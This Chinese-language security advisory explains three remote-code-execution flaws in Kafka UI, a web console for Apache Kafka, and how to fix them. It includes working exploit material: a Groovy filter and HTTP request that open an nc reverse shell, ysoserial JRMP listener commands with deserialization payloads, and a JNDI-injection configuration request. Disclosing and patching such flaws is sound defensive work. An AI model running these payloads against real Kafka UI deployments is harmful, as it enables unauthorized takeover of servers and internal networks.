1. 背景介绍
Kafka UI 是一款开源的 Web 应用,旨在管理和监控 Apache Kafka 集群,主要供开发者和管理员使用,提供了可视化的集群管理界面。但在默认配置中,Kafka UI 不需要身份验证即可读取和写入数据,导致许多 Kafka UI 实例在内部网络中未受保护,甚至直接暴露在互联网上。
尽管有些人可能认为暴露的 Kafka 数据并不敏感,但这种配置可能会为攻击者提供一个进入内部网络的"入口"。在安全研究中,我探索了利用 Kafka UI 的可能性,结果发现了 3 个远程代码执行(RCE)漏洞。
这些漏洞在 0.7.2 版本中已修复,如果你在使用 Kafka UI,请务必升级!
2. 漏洞一:CVE-2023-52251 - 通过 Groovy 脚本执行 RCE
漏洞描述
Kafka UI 允许用户在"消息过滤"功能中使用 Groovy 脚本。攻击者可以利用这一点,通过伪造的请求在服务器上执行任意的 Groovy 脚本,最终实现 远程代码执行 (RCE) 。
漏洞详情
MessageFilters.java
代码中,GROOVY_SCRIPT
过滤类型会直接执行 Groovy 脚本:
typescript
public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
switch (type) {
case STRING_CONTAINS:
return containsStringFilter(query);
case GROOVY_SCRIPT:
return groovyScriptFilter(query); // 存在漏洞点
default:
throw new IllegalStateException("Unknown query type: " + type);
}
}
利用方法
- 在 Kafka UI 中,前往集群页面,选择一个主题 (Topic),点击"消息 (Messages)"选项卡。
- 新建一个 Groovy 过滤器,输入以下脚本:
sql
new ProcessBuilder("nc", "host.docker.internal", "1234", "-e", "sh").start()
这段代码会在目标服务器上运行反向 Shell,从而获得控制权。请求示例如下:
perl
GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT
修复建议
- 升级到 0.7.2 版本,这会禁用对 Groovy 脚本的执行。
- 不要在生产环境中暴露 Kafka UI。
- 配置身份验证和 IP 白名单,限制对 UI 的访问。
3. 漏洞二:CVE-2024-32030 - 通过 JMX 连接器实现 RCE
漏洞描述
Kafka UI 支持动态配置 Kafka 集群,允许通过 JMX 连接器连接到 Kafka 代理。由于 JMX 使用 RMI 协议,攻击者可以通过恶意的 JMX 连接器实现 Java 反序列化攻击 ,最终导致 远程代码执行 (RCE) 。
漏洞详情
当 dynamic.config.enabled=true
时,Kafka UI 可通过 API 添加新的 Kafka 集群:
arduino
PUT /api/config
{
"config": {
"kafka": {
"clusters": [
{
"name": "jmx-exploit",
"bootstrapServers": "host.docker.internal:9093",
"metrics": { "type": "JMX", "port": 1718 }
}
]
}
}
}
Kafka UI 会尝试连接 JMX 地址,如:
jmx:rmi:///jndi/rmi://host.docker.internal:1718/jmxrmi
攻击者可创建一个恶意的 JMX 监听器,通过 RMI 发送恶意的序列化对象(Payload)。
通过这个对象的 readObject()
函数触发 反序列化漏洞,从而实现命令执行。
利用方法
- 在恶意服务器上设置 JMX 监听器,运行 ysoserial 工具:
bash
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
- 让 Kafka UI 连接到 JMX 监听器,触发 Scala1 负载,打开 Commons Collections 的不安全序列化。
- 通过相同的方法,使用 CommonsCollections7 负载,执行命令:
bash
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"
修复建议
- 升级到 0.7.2 版本,将 Apache Commons Collections 库更新到安全版本。
- 不启用
dynamic.config.enabled
,禁止动态配置集群。 - 使用 JDK 的 JEP-290 反序列化限制,控制可反序列化的类。
4. 漏洞三:CVE-2023-25194 - 通过 JNDI Login 模块实现 RCE
漏洞描述
Kafka UI 提供一个"测试 Kafka 连接"功能,允许配置 Kafka 代理的 sasl.jaas.config
。
攻击者可以使用 JNDI Login 模块(类似于 Log4j JNDI 漏洞 ),通过 RMI 连接到一个恶意的 JNDI 服务器,从而实现 远程代码执行 (RCE) 。
漏洞详情
攻击者可向 /api/config/validated
发送以下请求:
bash
PUT /api/config/validated
{
"properties": {
"kafka": {
"clusters": [
{
"name": "test",
"bootstrapServers": "host.docker.internal:9093",
"properties": {
"security.protocol": "SASL_PLAINTEXT",
"sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url="rmi://host.docker.internal:1718/x";"
}
}
]
}
}
}
Kafka UI 在连接 Kafka 代理之前,会向 RMI 服务器 (host.docker.internal:1718
) 发送请求。
攻击者可设置一个恶意的 RMI 监听器,返回恶意的 Java 对象,从而实现命令执行。
修复建议
- 升级到 0.7.2 版本,禁用对 JNDI Login 模块的支持。
- 限制
sasl.jaas.config
的可用配置,不允许外部 URL。 - 禁用
dynamic.config.enabled
,防止动态修改集群配置。
5. 修复总结
漏洞编号 | 风险等级 | 攻击方式 | 修复方法 |
---|---|---|---|
CVE-2023-52251 | 严重 | Groovy 脚本 | 0.7.2 版本禁用 Groovy 脚本 |
CVE-2024-32030 | 严重 | JMX 反序列化 | 禁用 dynamic.config.enabled ,升级 0.7.2 版本 |
CVE-2023-25194 | 严重 | JNDI Login | 禁用 JNDI 模块,升级 0.7.2 版本 |
6. 最佳实践
- 限制 Kafka UI 的访问: 仅允许可信的 IP 访问 Kafka UI。
- 配置身份验证: 启用用户身份验证,避免未授权访问。
- 更新到最新版本: 确保使用 Kafka UI 0.7.2 或更高版本。
- 网络隔离: 只允许 Kafka UI 在受信网络中运行,避免暴露到互联网上。
- 禁用动态配置 : 不启用
dynamic.config.enabled
,防止集群配置被外部修改。 - 启用 JEP-290 限制 : 使用
jdk.serialFilter
只允许反序列化安全的类。
这些漏洞的本质在于 脚本执行、反序列化和 JNDI 注入 ,在 Java 应用中尤为常见。
如果你正在使用 Kafka UI,请立即更新到最新版本,并采取上述修复措施,避免成为下一个受害者。